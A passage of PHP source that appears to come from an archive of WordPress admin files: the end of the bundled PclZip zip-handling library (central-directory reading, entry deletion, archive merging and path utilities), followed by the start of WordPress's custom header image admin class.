      }
    }

    // ----- Read the first 18 bytes of the header
    $v_binary_data = fread($this->zip_fd, 18);

    // ----- Look for invalid block size
    if (strlen($v_binary_data) != 18)
    {

      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid End of Central Dir Record size : ".strlen($v_binary_data));

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Extract the values
    $v_data = unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size', $v_binary_data);

    // ----- Check the global size
    if (($v_pos + $v_data['comment_size'] + 18) != $v_size) {

	  // ----- Removed in release 2.2 see readme file
	  // The check of the file size is a little too strict.
	  // Some bugs where found when a zip is encrypted/decrypted with 'crypt'.
	  // While decrypted, zip has training 0 bytes
	  if (0) {
      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT,
	                       'The central dir is not at the end of the archive.'
						   .' Some trailing bytes exists after the archive.');

      // ----- Return
      return PclZip::errorCode();
	  }
    }

    // ----- Get comment
    if ($v_data['comment_size'] != 0) {
      $p_central_dir['comment'] = fread($this->zip_fd, $v_data['comment_size']);
    }
    else
      $p_central_dir['comment'] = '';

    $p_central_dir['entries'] = $v_data['entries'];
    $p_central_dir['disk_entries'] = $v_data['disk_entries'];
    $p_central_dir['offset'] = $v_data['offset'];
    $p_central_dir['size'] = $v_data['size'];
    $p_central_dir['disk'] = $v_data['disk'];
    $p_central_dir['disk_start'] = $v_data['disk_start'];

    // TBC
    //for(reset($p_central_dir); $key = key($p_central_dir); next($p_central_dir)) {
    //}

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privDeleteByRule()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privDeleteByRule(&$p_result_list, &$p_options)
  {
    $v_result=1;
    $v_list_detail = array();

    // ----- Open the zip file
    if (($v_result=$this->privOpenFd('rb')) != 1)
    {
      // ----- Return
      return $v_result;
    }

    // ----- Read the central directory information
    $v_central_dir = array();
    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
    {
      $this->privCloseFd();
      return $v_result;
    }

    // ----- Go to beginning of File
    @rewind($this->zip_fd);

    // ----- Scan all the files
    // ----- Start at beginning of Central Dir
    $v_pos_entry = $v_central_dir['offset'];
    @rewind($this->zip_fd);
    if (@fseek($this->zip_fd, $v_pos_entry))
    {
      // ----- Close the zip file
      $this->privCloseFd();

      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Read each entry
    $v_header_list = array();
    $j_start = 0;
    for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++)
    {

      // ----- Read the file header
      $v_header_list[$v_nb_extracted] = array();
      if (($v_result = $this->privReadCentralFileHeader($v_header_list[$v_nb_extracted])) != 1)
      {
        // ----- Close the zip file
        $this->privCloseFd();

        return $v_result;
      }


      // ----- Store the index
      $v_header_list[$v_nb_extracted]['index'] = $i;

      // ----- Look for the specific extract rules
      $v_found = false;

      // ----- Look for extract by name rule
      if (   (isset($p_options[PCLZIP_OPT_BY_NAME]))
          && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) {

          // ----- Look if the filename is in the list
          for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_found); $j++) {

              // ----- Look for a directory
              if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") {

                  // ----- Look if the directory is in the filename path
                  if (   (strlen($v_header_list[$v_nb_extracted]['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j]))
                      && (substr($v_header_list[$v_nb_extracted]['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
                      $v_found = true;
                  }
                  elseif (   (($v_header_list[$v_nb_extracted]['external']&0x00000010)==0x00000010) /* Indicates a folder */
                          && ($v_header_list[$v_nb_extracted]['stored_filename'].'/' == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
                      $v_found = true;
                  }
              }
              // ----- Look for a filename
              elseif ($v_header_list[$v_nb_extracted]['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) {
                  $v_found = true;
              }
          }
      }

      // ----- Look for extract by ereg rule
      // ereg() is deprecated with PHP 5.3
      /*
      else if (   (isset($p_options[PCLZIP_OPT_BY_EREG]))
               && ($p_options[PCLZIP_OPT_BY_EREG] != "")) {

          if (ereg($p_options[PCLZIP_OPT_BY_EREG], $v_header_list[$v_nb_extracted]['stored_filename'])) {
              $v_found = true;
          }
      }
      */

      // ----- Look for extract by preg rule
      else if (   (isset($p_options[PCLZIP_OPT_BY_PREG]))
               && ($p_options[PCLZIP_OPT_BY_PREG] != "")) {

          if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header_list[$v_nb_extracted]['stored_filename'])) {
              $v_found = true;
          }
      }

      // ----- Look for extract by index rule
      else if (   (isset($p_options[PCLZIP_OPT_BY_INDEX]))
               && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) {

          // ----- Look if the index is in the list
          for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_found); $j++) {

              if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) {
                  $v_found = true;
              }
              if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) {
                  $j_start = $j+1;
              }

              if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) {
                  break;
              }
          }
      }
      else {
      	$v_found = true;
      }

      // ----- Look for deletion
      if ($v_found)
      {
        unset($v_header_list[$v_nb_extracted]);
      }
      else
      {
        $v_nb_extracted++;
      }
    }

    // ----- Look if something need to be deleted
    if ($v_nb_extracted > 0) {

        // ----- Creates a temporary file
        $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';

        // ----- Creates a temporary zip archive
        $v_temp_zip = new PclZip($v_zip_temp_name);

        // ----- Open the temporary zip file in write mode
        if (($v_result = $v_temp_zip->privOpenFd('wb')) != 1) {
            $this->privCloseFd();

            // ----- Return
            return $v_result;
        }

        // ----- Look which file need to be kept
        for ($i=0; $i<sizeof($v_header_list); $i++) {

            // ----- Calculate the position of the header
            @rewind($this->zip_fd);
            if (@fseek($this->zip_fd,  $v_header_list[$i]['offset'])) {
                // ----- Close the zip file
                $this->privCloseFd();
                $v_temp_zip->privCloseFd();
                @unlink($v_zip_temp_name);

                // ----- Error log
                PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');

                // ----- Return
                return PclZip::errorCode();
            }

            // ----- Read the file header
            $v_local_header = array();
            if (($v_result = $this->privReadFileHeader($v_local_header)) != 1) {
                // ----- Close the zip file
                $this->privCloseFd();
                $v_temp_zip->privCloseFd();
                @unlink($v_zip_temp_name);

                // ----- Return
                return $v_result;
            }

            // ----- Check that local file header is same as central file header
            if ($this->privCheckFileHeaders($v_local_header,
			                                $v_header_list[$i]) != 1) {
                // TBC
            }
            unset($v_local_header);

            // ----- Write the file header
            if (($v_result = $v_temp_zip->privWriteFileHeader($v_header_list[$i])) != 1) {
                // ----- Close the zip file
                $this->privCloseFd();
                $v_temp_zip->privCloseFd();
                @unlink($v_zip_temp_name);

                // ----- Return
                return $v_result;
            }

            // ----- Read/write the data block
            if (($v_result = PclZipUtilCopyBlock($this->zip_fd, $v_temp_zip->zip_fd, $v_header_list[$i]['compressed_size'])) != 1) {
                // ----- Close the zip file
                $this->privCloseFd();
                $v_temp_zip->privCloseFd();
                @unlink($v_zip_temp_name);

                // ----- Return
                return $v_result;
            }
        }

        // ----- Store the offset of the central dir
        $v_offset = @ftell($v_temp_zip->zip_fd);

        // ----- Re-Create the Central Dir files header
        for ($i=0; $i<sizeof($v_header_list); $i++) {
            // ----- Create the file header
            if (($v_result = $v_temp_zip->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
                $v_temp_zip->privCloseFd();
                $this->privCloseFd();
                @unlink($v_zip_temp_name);

                // ----- Return
                return $v_result;
            }

            // ----- Transform the header to a 'usable' info
            $v_temp_zip->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
        }


        // ----- Zip file comment
        $v_comment = '';
        if (isset($p_options[PCLZIP_OPT_COMMENT])) {
          $v_comment = $p_options[PCLZIP_OPT_COMMENT];
        }

        // ----- Calculate the size of the central header
        $v_size = @ftell($v_temp_zip->zip_fd)-$v_offset;

        // ----- Create the central dir footer
        if (($v_result = $v_temp_zip->privWriteCentralHeader(sizeof($v_header_list), $v_size, $v_offset, $v_comment)) != 1) {
            // ----- Reset the file list
            unset($v_header_list);
            $v_temp_zip->privCloseFd();
            $this->privCloseFd();
            @unlink($v_zip_temp_name);

            // ----- Return
            return $v_result;
        }

        // ----- Close
        $v_temp_zip->privCloseFd();
        $this->privCloseFd();

        // ----- Delete the zip file
        // TBC : I should test the result ...
        @unlink($this->zipname);

        // ----- Rename the temporary file
        // TBC : I should test the result ...
        //@rename($v_zip_temp_name, $this->zipname);
        PclZipUtilRename($v_zip_temp_name, $this->zipname);

        // ----- Destroy the temporary archive
        unset($v_temp_zip);
    }

    // ----- Remove every files : reset the file
    else if ($v_central_dir['entries'] != 0) {
        $this->privCloseFd();

        if (($v_result = $this->privOpenFd('wb')) != 1) {
          return $v_result;
        }

        if (($v_result = $this->privWriteCentralHeader(0, 0, 0, '')) != 1) {
          return $v_result;
        }

        $this->privCloseFd();
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privDirCheck()
  // Description :
  //   Check if a directory exists, if not it creates it and all the parents directory
  //   which may be useful.
  // Parameters :
  //   $p_dir : Directory path to check.
  // Return Values :
  //    1 : OK
  //   -1 : Unable to create directory
  // --------------------------------------------------------------------------------
  function privDirCheck($p_dir, $p_is_dir=false)
  {
    $v_result = 1;


    // ----- Remove the final '/'
    if (($p_is_dir) && (substr($p_dir, -1)=='/'))
    {
      $p_dir = substr($p_dir, 0, strlen($p_dir)-1);
    }

    // ----- Check the directory availability
    if ((is_dir($p_dir)) || ($p_dir == ""))
    {
      return 1;
    }

    // ----- Extract parent directory
    $p_parent_dir = dirname($p_dir);

    // ----- Just a check
    if ($p_parent_dir != $p_dir)
    {
      // ----- Look for parent directory
      if ($p_parent_dir != "")
      {
        if (($v_result = $this->privDirCheck($p_parent_dir)) != 1)
        {
          return $v_result;
        }
      }
    }

    // ----- Create the directory
    if (!@mkdir($p_dir, 0777))
    {
      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_DIR_CREATE_FAIL, "Unable to create directory '$p_dir'");

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privMerge()
  // Description :
  //   If $p_archive_to_add does not exist, the function exit with a success result.
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privMerge(&$p_archive_to_add)
  {
    $v_result=1;

    // ----- Look if the archive_to_add exists
    if (!is_file($p_archive_to_add->zipname))
    {

      // ----- Nothing to merge, so merge is a success
      $v_result = 1;

      // ----- Return
      return $v_result;
    }

    // ----- Look if the archive exists
    if (!is_file($this->zipname))
    {

      // ----- Do a duplicate
      $v_result = $this->privDuplicate($p_archive_to_add->zipname);

      // ----- Return
      return $v_result;
    }

    // ----- Open the zip file
    if (($v_result=$this->privOpenFd('rb')) != 1)
    {
      // ----- Return
      return $v_result;
    }

    // ----- Read the central directory information
    $v_central_dir = array();
    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
    {
      $this->privCloseFd();
      return $v_result;
    }

    // ----- Go to beginning of File
    @rewind($this->zip_fd);

    // ----- Open the archive_to_add file
    if (($v_result=$p_archive_to_add->privOpenFd('rb')) != 1)
    {
      $this->privCloseFd();

      // ----- Return
      return $v_result;
    }

    // ----- Read the central directory information
    $v_central_dir_to_add = array();
    if (($v_result = $p_archive_to_add->privReadEndCentralDir($v_central_dir_to_add)) != 1)
    {
      $this->privCloseFd();
      $p_archive_to_add->privCloseFd();

      return $v_result;
    }

    // ----- Go to beginning of File
    @rewind($p_archive_to_add->zip_fd);

    // ----- Creates a temporary file
    $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';

    // ----- Open the temporary file in write mode
    if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0)
    {
      $this->privCloseFd();
      $p_archive_to_add->privCloseFd();

      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode');

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Copy the files from the archive to the temporary file
    // TBC : Here I should better append the file and go back to erase the central dir
    $v_size = $v_central_dir['offset'];
    while ($v_size != 0)
    {
      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = fread($this->zip_fd, $v_read_size);
      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
      $v_size -= $v_read_size;
    }

    // ----- Copy the files from the archive_to_add into the temporary file
    $v_size = $v_central_dir_to_add['offset'];
    while ($v_size != 0)
    {
      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = fread($p_archive_to_add->zip_fd, $v_read_size);
      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
      $v_size -= $v_read_size;
    }

    // ----- Store the offset of the central dir
    $v_offset = @ftell($v_zip_temp_fd);

    // ----- Copy the block of file headers from the old archive
    $v_size = $v_central_dir['size'];
    while ($v_size != 0)
    {
      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = @fread($this->zip_fd, $v_read_size);
      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
      $v_size -= $v_read_size;
    }

    // ----- Copy the block of file headers from the archive_to_add
    $v_size = $v_central_dir_to_add['size'];
    while ($v_size != 0)
    {
      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = @fread($p_archive_to_add->zip_fd, $v_read_size);
      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
      $v_size -= $v_read_size;
    }

    // ----- Merge the file comments
    $v_comment = $v_central_dir['comment'].' '.$v_central_dir_to_add['comment'];

    // ----- Calculate the size of the (new) central header
    $v_size = @ftell($v_zip_temp_fd)-$v_offset;

    // ----- Swap the file descriptor
    // Here is a trick : I swap the temporary fd with the zip fd, in order to use
    // the following methods on the temporary fil and not the real archive fd
    $v_swap = $this->zip_fd;
    $this->zip_fd = $v_zip_temp_fd;
    $v_zip_temp_fd = $v_swap;

    // ----- Create the central dir footer
    if (($v_result = $this->privWriteCentralHeader($v_central_dir['entries']+$v_central_dir_to_add['entries'], $v_size, $v_offset, $v_comment)) != 1)
    {
      $this->privCloseFd();
      $p_archive_to_add->privCloseFd();
      @fclose($v_zip_temp_fd);
      $this->zip_fd = null;

      // ----- Reset the file list
      unset($v_header_list);

      // ----- Return
      return $v_result;
    }

    // ----- Swap back the file descriptor
    $v_swap = $this->zip_fd;
    $this->zip_fd = $v_zip_temp_fd;
    $v_zip_temp_fd = $v_swap;

    // ----- Close
    $this->privCloseFd();
    $p_archive_to_add->privCloseFd();

    // ----- Close the temporary file
    @fclose($v_zip_temp_fd);

    // ----- Delete the zip file
    // TBC : I should test the result ...
    @unlink($this->zipname);

    // ----- Rename the temporary file
    // TBC : I should test the result ...
    //@rename($v_zip_temp_name, $this->zipname);
    PclZipUtilRename($v_zip_temp_name, $this->zipname);

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privDuplicate()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privDuplicate($p_archive_filename)
  {
    $v_result=1;

    // ----- Look if the $p_archive_filename exists
    if (!is_file($p_archive_filename))
    {

      // ----- Nothing to duplicate, so duplicate is a success.
      $v_result = 1;

      // ----- Return
      return $v_result;
    }

    // ----- Open the zip file
    if (($v_result=$this->privOpenFd('wb')) != 1)
    {
      // ----- Return
      return $v_result;
    }

    // ----- Open the temporary file in write mode
    if (($v_zip_temp_fd = @fopen($p_archive_filename, 'rb')) == 0)
    {
      $this->privCloseFd();

      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive file \''.$p_archive_filename.'\' in binary write mode');

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Copy the files from the archive to the temporary file
    // TBC : Here I should better append the file and go back to erase the central dir
    $v_size = filesize($p_archive_filename);
    while ($v_size != 0)
    {
      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = fread($v_zip_temp_fd, $v_read_size);
      @fwrite($this->zip_fd, $v_buffer, $v_read_size);
      $v_size -= $v_read_size;
    }

    // ----- Close
    $this->privCloseFd();

    // ----- Close the temporary file
    @fclose($v_zip_temp_fd);

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privErrorLog()
  // Description :
  // Parameters :
  // --------------------------------------------------------------------------------
  function privErrorLog($p_error_code=0, $p_error_string='')
  {
    if (PCLZIP_ERROR_EXTERNAL == 1) {
      PclError($p_error_code, $p_error_string);
    }
    else {
      $this->error_code = $p_error_code;
      $this->error_string = $p_error_string;
    }
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privErrorReset()
  // Description :
  // Parameters :
  // --------------------------------------------------------------------------------
  function privErrorReset()
  {
    if (PCLZIP_ERROR_EXTERNAL == 1) {
      PclErrorReset();
    }
    else {
      $this->error_code = 0;
      $this->error_string = '';
    }
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privDisableMagicQuotes()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privDisableMagicQuotes()
  {
    $v_result=1;

	// EDIT for WordPress 5.3.0
	// magic_quote functions are deprecated in PHP 7.4, now assuming it's always off.
	/*

    // ----- Look if function exists
    if (   (!function_exists("get_magic_quotes_runtime"))
	    || (!function_exists("set_magic_quotes_runtime"))) {
      return $v_result;
	}

    // ----- Look if already done
    if ($this->magic_quotes_status != -1) {
      return $v_result;
	}

	// ----- Get and memorize the magic_quote value
	$this->magic_quotes_status = @get_magic_quotes_runtime();

	// ----- Disable magic_quotes
	if ($this->magic_quotes_status == 1) {
	  @set_magic_quotes_runtime(0);
	}
	*/

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privSwapBackMagicQuotes()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privSwapBackMagicQuotes()
  {
    $v_result=1;

	// EDIT for WordPress 5.3.0
	// magic_quote functions are deprecated in PHP 7.4, now assuming it's always off.
	/*

    // ----- Look if function exists
    if (   (!function_exists("get_magic_quotes_runtime"))
	    || (!function_exists("set_magic_quotes_runtime"))) {
      return $v_result;
	}

    // ----- Look if something to do
    if ($this->magic_quotes_status != -1) {
      return $v_result;
	}

	// ----- Swap back magic_quotes
	if ($this->magic_quotes_status == 1) {
  	  @set_magic_quotes_runtime($this->magic_quotes_status);
	}

	*/
    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  }
  // End of class
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : PclZipUtilPathReduction()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function PclZipUtilPathReduction($p_dir)
  {
    $v_result = "";

    // ----- Look for not empty path
    if ($p_dir != "") {
      // ----- Explode path by directory names
      $v_list = explode("/", $p_dir);

      // ----- Study directories from last to first
      $v_skip = 0;
      for ($i=sizeof($v_list)-1; $i>=0; $i--) {
        // ----- Look for current path
        if ($v_list[$i] == ".") {
          // ----- Ignore this directory
          // Should be the first $i=0, but no check is done
        }
        else if ($v_list[$i] == "..") {
		  $v_skip++;
        }
        else if ($v_list[$i] == "") {
		  // ----- First '/' i.e. root slash
		  if ($i == 0) {
            $v_result = "/".$v_result;
		    if ($v_skip > 0) {
		        // ----- It is an invalid path, so the path is not modified
		        // TBC
		        $v_result = $p_dir;
                $v_skip = 0;
		    }
		  }
		  // ----- Last '/' i.e. indicates a directory
		  else if ($i == (sizeof($v_list)-1)) {
            $v_result = $v_list[$i];
		  }
		  // ----- Double '/' inside the path
		  else {
            // ----- Ignore only the double '//' in path,
            // but not the first and last '/'
		  }
        }
        else {
		  // ----- Look for item to skip
		  if ($v_skip > 0) {
		    $v_skip--;
		  }
		  else {
            $v_result = $v_list[$i].($i!=(sizeof($v_list)-1)?"/".$v_result:"");
		  }
        }
      }

      // ----- Look for skip
      if ($v_skip > 0) {
        while ($v_skip > 0) {
            $v_result = '../'.$v_result;
            $v_skip--;
        }
      }
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : PclZipUtilPathInclusion()
  // Description :
  //   This function indicates if the path $p_path is under the $p_dir tree. Or,
  //   said in an other way, if the file or sub-dir $p_path is inside the dir
  //   $p_dir.
  //   The function indicates also if the path is exactly the same as the dir.
  //   This function supports path with duplicated '/' like '//', but does not
  //   support '.' or '..' statements.
  // Parameters :
  // Return Values :
  //   0 if $p_path is not inside directory $p_dir
  //   1 if $p_path is inside directory $p_dir
  //   2 if $p_path is exactly the same as $p_dir
  // --------------------------------------------------------------------------------
  function PclZipUtilPathInclusion($p_dir, $p_path)
  {
    $v_result = 1;

    // ----- Look for path beginning by ./
    if (   ($p_dir == '.')
        || ((strlen($p_dir) >=2) && (substr($p_dir, 0, 2) == './'))) {
      $p_dir = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_dir, 1);
    }
    if (   ($p_path == '.')
        || ((strlen($p_path) >=2) && (substr($p_path, 0, 2) == './'))) {
      $p_path = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_path, 1);
    }

    // ----- Explode dir and path by directory separator
    $v_list_dir = explode("/", $p_dir);
    $v_list_dir_size = sizeof($v_list_dir);
    $v_list_path = explode("/", $p_path);
    $v_list_path_size = sizeof($v_list_path);

    // ----- Study directories paths
    $i = 0;
    $j = 0;
    while (($i < $v_list_dir_size) && ($j < $v_list_path_size) && ($v_result)) {

      // ----- Look for empty dir (path reduction)
      if ($v_list_dir[$i] == '') {
        $i++;
        continue;
      }
      if ($v_list_path[$j] == '') {
        $j++;
        continue;
      }

      // ----- Compare the items
      if (($v_list_dir[$i] != $v_list_path[$j]) && ($v_list_dir[$i] != '') && ( $v_list_path[$j] != ''))  {
        $v_result = 0;
      }

      // ----- Next items
      $i++;
      $j++;
    }

    // ----- Look if everything seems to be the same
    if ($v_result) {
      // ----- Skip all the empty items
      while (($j < $v_list_path_size) && ($v_list_path[$j] == '')) $j++;
      while (($i < $v_list_dir_size) && ($v_list_dir[$i] == '')) $i++;

      if (($i >= $v_list_dir_size) && ($j >= $v_list_path_size)) {
        // ----- There are exactly the same
        $v_result = 2;
      }
      else if ($i < $v_list_dir_size) {
        // ----- The path is shorter than the dir
        $v_result = 0;
      }
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : PclZipUtilCopyBlock()
  // Description :
  // Parameters :
  //   $p_mode : read/write compression mode
  //             0 : src & dest normal
  //             1 : src gzip, dest normal
  //             2 : src normal, dest gzip
  //             3 : src & dest gzip
  // Return Values :
  // --------------------------------------------------------------------------------
  function PclZipUtilCopyBlock($p_src, $p_dest, $p_size, $p_mode=0)
  {
    $v_result = 1;

    if ($p_mode==0)
    {
      while ($p_size != 0)
      {
        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
        $v_buffer = @fread($p_src, $v_read_size);
        @fwrite($p_dest, $v_buffer, $v_read_size);
        $p_size -= $v_read_size;
      }
    }
    else if ($p_mode==1)
    {
      while ($p_size != 0)
      {
        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
        $v_buffer = @gzread($p_src, $v_read_size);
        @fwrite($p_dest, $v_buffer, $v_read_size);
        $p_size -= $v_read_size;
      }
    }
    else if ($p_mode==2)
    {
      while ($p_size != 0)
      {
        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
        $v_buffer = @fread($p_src, $v_read_size);
        @gzwrite($p_dest, $v_buffer, $v_read_size);
        $p_size -= $v_read_size;
      }
    }
    else if ($p_mode==3)
    {
      while ($p_size != 0)
      {
        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
        $v_buffer = @gzread($p_src, $v_read_size);
        @gzwrite($p_dest, $v_buffer, $v_read_size);
        $p_size -= $v_read_size;
      }
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : PclZipUtilRename()
  // Description :
  //   This function tries to do a simple rename() function. If it fails, it
  //   tries to copy the $p_src file in a new $p_dest file and then unlink the
  //   first one.
  // Parameters :
  //   $p_src : Old filename
  //   $p_dest : New filename
  // Return Values :
  //   1 on success, 0 on failure.
  // --------------------------------------------------------------------------------
  function PclZipUtilRename($p_src, $p_dest)
  {
    $v_result = 1;

    // ----- Try to rename the files
    if (!@rename($p_src, $p_dest)) {

      // ----- Try to copy & unlink the src
      if (!@copy($p_src, $p_dest)) {
        $v_result = 0;
      }
      else if (!@unlink($p_src)) {
        $v_result = 0;
      }
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : PclZipUtilOptionText()
  // Description :
  //   Translate option value in text. Mainly for debug purpose.
  // Parameters :
  //   $p_option : the option value.
  // Return Values :
  //   The option text value.
  // --------------------------------------------------------------------------------
  function PclZipUtilOptionText($p_option)
  {

    $v_list = get_defined_constants();
    for (reset($v_list); $v_key = key($v_list); next($v_list)) {
	    $v_prefix = substr($v_key, 0, 10);
	    if ((   ($v_prefix == 'PCLZIP_OPT')
           || ($v_prefix == 'PCLZIP_CB_')
           || ($v_prefix == 'PCLZIP_ATT'))
	        && ($v_list[$v_key] == $p_option)) {
        return $v_key;
	    }
    }

    $v_result = 'Unknown';

    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : PclZipUtilTranslateWinPath()
  // Description :
  //   Translate windows path by replacing '\' by '/' and optionally removing
  //   drive letter.
  // Parameters :
  //   $p_path : path to translate.
  //   $p_remove_disk_letter : true | false
  // Return Values :
  //   The path translated.
  // --------------------------------------------------------------------------------
  function PclZipUtilTranslateWinPath($p_path, $p_remove_disk_letter=true)
  {
    if (stristr(php_uname(), 'windows')) {
      // ----- Look for potential disk letter
      if (($p_remove_disk_letter) && (($v_position = strpos($p_path, ':')) != false)) {
          $p_path = substr($p_path, $v_position+1);
      }
      // ----- Change potential windows directory separator
      if ((strpos($p_path, '\\') > 0) || (substr($p_path, 0,1) == '\\')) {
          $p_path = strtr($p_path, '\\', '/');
      }
    }
    return $p_path;
  }
  // --------------------------------------------------------------------------------


?>
class-custom-image-header.php000064400000137210150275632050012211 0ustar00<?php
/**
 * The custom header image script.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * The custom header image class.
 *
 * @since 2.1.0
 */
#[AllowDynamicProperties]
class Custom_Image_Header {

	/**
	 * Callback for administration header.
	 *
	 * @var callable
	 * @since 2.1.0
	 */
	public $admin_header_callback;

	/**
	 * Callback for header div.
	 *
	 * @var callable
	 * @since 3.0.0
	 */
	public $admin_image_div_callback;

	/**
	 * Holds default headers.
	 *
	 * @var array
	 * @since 3.0.0
	 */
	public $default_headers = array();

	/**
	 * Used to trigger a success message when settings updated and set to true.
	 *
	 * @since 3.0.0
	 * @var bool
	 */
	private $updated;

	/**
	 * Constructor - Register administration header callback.
	 *
	 * @since 2.1.0
	 * @param callable $admin_header_callback
	 * @param callable $admin_image_div_callback Optional custom image div output callback.
	 */
	public function __construct( $admin_header_callback, $admin_image_div_callback = '' ) {
		$this->admin_header_callback    = $admin_header_callback;
		$this->admin_image_div_callback = $admin_image_div_callback;

		add_action( 'admin_menu', array( $this, 'init' ) );

		add_action( 'customize_save_after', array( $this, 'customize_set_last_used' ) );
		add_action( 'wp_ajax_custom-header-crop', array( $this, 'ajax_header_crop' ) );
		add_action( 'wp_ajax_custom-header-add', array( $this, 'ajax_header_add' ) );
		add_action( 'wp_ajax_custom-header-remove', array( $this, 'ajax_header_remove' ) );
	}

	/**
	 * Sets up the hooks for the Custom Header admin page.
	 *
	 * @since 2.1.0
	 */
	public function init() {
		$page = add_theme_page(
			_x( 'Header', 'custom image header' ),
			_x( 'Header', 'custom image header' ),
			'edit_theme_options',
			'custom-header',
			array( $this, 'admin_page' )
		);

		if ( ! $page ) {
			return;
		}

		add_action( "admin_print_scripts-{$page}", array( $this, 'js_includes' ) );
